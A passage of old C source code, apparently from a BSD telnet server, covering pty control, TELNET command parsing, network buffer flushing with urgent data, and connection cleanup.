  1037.     struct sgttyb b;
  1038.  
  1039.     ptyflush();
  1040.     ioctl(pty, TIOCGETP, &b);
  1041.     b.sg_flags |= on;
  1042.     b.sg_flags &= ~off;
  1043.     ioctl(pty, TIOCSETP, &b);
  1044. }
  1045.  
  1046. /*
  1047.  * Send interrupt to process on other side of pty.
  1048.  * If it is in raw mode, just write NULL;
  1049.  * otherwise, write intr char.
  1050.  */
  1051. interrupt()
  1052. {
  1053.     struct sgttyb b;
  1054.     struct tchars tchars;
  1055.  
  1056.     ptyflush();    /* half-hearted */
  1057.     ioctl(pty, TIOCGETP, &b);
  1058.     if (b.sg_flags & RAW) {
  1059.         *pfrontp++ = '\0';
  1060.         return;
  1061.     }
  1062.     *pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ?
  1063.         '\177' : tchars.t_intrc;
  1064. }
  1065.  
  1066. /*
  1067.  * Send quit to process on other side of pty.
  1068.  * If it is in raw mode, just write NULL;
  1069.  * otherwise, write quit char.
  1070.  */
  1071. sendbrk()
  1072. {
  1073.     struct sgttyb b;
  1074.     struct tchars tchars;
  1075.  
  1076.     ptyflush();    /* half-hearted */
  1077.     ioctl(pty, TIOCGETP, &b);
  1078.     if (b.sg_flags & RAW) {
  1079.         *pfrontp++ = '\0';
  1080.         return;
  1081.     }
  1082.     *pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ?
  1083.         '\034' : tchars.t_quitc;
  1084. }
  1085.  
  1086. ptyflush()
  1087. {
  1088.     int n;
  1089.  
  1090.     if ((n = pfrontp - pbackp) > 0)
  1091.         n = write(pty, pbackp, n);
  1092.     if (n < 0)
  1093.         return;
  1094.     pbackp += n;
  1095.     if (pbackp == pfrontp)
  1096.         pbackp = pfrontp = ptyobuf;
  1097. }
  1098.  
  1099. /*
  1100.  * nextitem()
  1101.  *
  1102.  *    Return the address of the next "item" in the TELNET data
  1103.  * stream.  This will be the address of the next character if
  1104.  * the current address is a user data character, or it will
  1105.  * be the address of the character following the TELNET command
  1106.  * if the current address is a TELNET IAC ("I Am a Command")
  1107.  * character.
  1108.  */
  1109.  
  1110. char *
  1111. nextitem(current)
  1112. char    *current;
  1113. {
  1114.     if ((*current&0xff) != IAC) {
  1115.     return current+1;
  1116.     }
  1117.     switch (*(current+1)&0xff) {
  1118.     case DO:
  1119.     case DONT:
  1120.     case WILL:
  1121.     case WONT:
  1122.     return current+3;
  1123.     case SB:        /* loop forever looking for the SE */
  1124.     {
  1125.         register char *look = current+2;
  1126.  
  1127.         for (;;) {
  1128.         if ((*look++&0xff) == IAC) {
  1129.             if ((*look++&0xff) == SE) {
  1130.             return look;
  1131.             }
  1132.         }
  1133.         }
  1134.     }
  1135.     default:
  1136.     return current+2;
  1137.     }
  1138. }
  1139.  
  1140.  
  1141. /*
  1142.  * netclear()
  1143.  *
  1144.  *    We are about to do a TELNET SYNCH operation.  Clear
  1145.  * the path to the network.
  1146.  *
  1147.  *    Things are a bit tricky since we may have sent the first
  1148.  * byte or so of a previous TELNET command into the network.
  1149.  * So, we have to scan the network buffer from the beginning
  1150.  * until we are up to where we want to be.
  1151.  *
  1152.  *    A side effect of what we do, just to keep things
  1153.  * simple, is to clear the urgent data pointer.  The principal
  1154.  * caller should be setting the urgent data pointer AFTER calling
  1155.  * us in any case.
  1156.  */
  1157.  
  1158. netclear()
  1159. {
  1160.     register char *thisitem, *next;
  1161.     char *good;
  1162. #define    wewant(p)    ((nfrontp > p) && ((*p&0xff) == IAC) && \
  1163.                 ((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL))
  1164.  
  1165.     thisitem = netobuf;
  1166.  
  1167.     while ((next = nextitem(thisitem)) <= nbackp) {
  1168.     thisitem = next;
  1169.     }
  1170.  
  1171.     /* Now, thisitem is first before/at boundary. */
  1172.  
  1173.     good = netobuf;    /* where the good bytes go */
  1174.  
  1175.     while (nfrontp > thisitem) {
  1176.     if (wewant(thisitem)) {
  1177.         int length;
  1178.  
  1179.         next = thisitem;
  1180.         do {
  1181.         next = nextitem(next);
  1182.         } while (wewant(next) && (nfrontp > next));
  1183.         length = next-thisitem;
  1184.         bcopy(thisitem, good, length);
  1185.         good += length;
  1186.         thisitem = next;
  1187.     } else {
  1188.         thisitem = nextitem(thisitem);
  1189.     }
  1190.     }
  1191.  
  1192.     nbackp = netobuf;
  1193.     nfrontp = good;        /* next byte to be sent */
  1194.     neturg = 0;
  1195. }
  1196.  
  1197. /*
  1198.  *  netflush
  1199.  *        Send as much data as possible to the network,
  1200.  *    handling requests for urgent data.
  1201.  */
  1202.  
  1203.  
  1204. netflush()
  1205. {
  1206.     int n;
  1207.  
  1208.     if ((n = nfrontp - nbackp) > 0) {
  1209.     /*
  1210.      * if no urgent data, or if the other side appears to be an
  1211.      * old 4.2 client (and thus unable to survive TCP urgent data),
  1212.      * write the entire buffer in non-OOB mode.
  1213.      */
  1214.     if ((neturg == 0) || (not42 == 0)) {
  1215.         n = write(net, nbackp, n);    /* normal write */
  1216.     } else {
  1217.         n = neturg - nbackp;
  1218.         /*
  1219.          * In 4.2 (and 4.3) systems, there is some question about
  1220.          * what byte in a sendOOB operation is the "OOB" data.
  1221.          * To make ourselves compatible, we only send ONE byte
  1222.          * out of band, the one WE THINK should be OOB (though
  1223.          * we really have more the TCP philosophy of urgent data
  1224.          * rather than the Unix philosophy of OOB data).
  1225.          */
  1226.         if (n > 1) {
  1227.         n = send(net, nbackp, n-1, 0);    /* send URGENT all by itself */
  1228.         } else {
  1229.         n = send(net, nbackp, n, MSG_OOB);    /* URGENT data */
  1230.         }
  1231.     }
  1232.     }
  1233.     if (n < 0) {
  1234.     if (errno == EWOULDBLOCK)
  1235.         return;
  1236.     /* should blow this guy away... */
  1237.     return;
  1238.     }
  1239.     nbackp += n;
  1240.     if (nbackp >= neturg) {
  1241.     neturg = 0;
  1242.     }
  1243.     if (nbackp == nfrontp) {
  1244.     nbackp = nfrontp = netobuf;
  1245.     }
  1246. }
  1247.  
  1248. cleanup()
  1249. {
  1250.     vhangup();    /* XXX */
  1251.     shutdown(net, 2);
  1252.     exit(1);
  1253. }
  1254.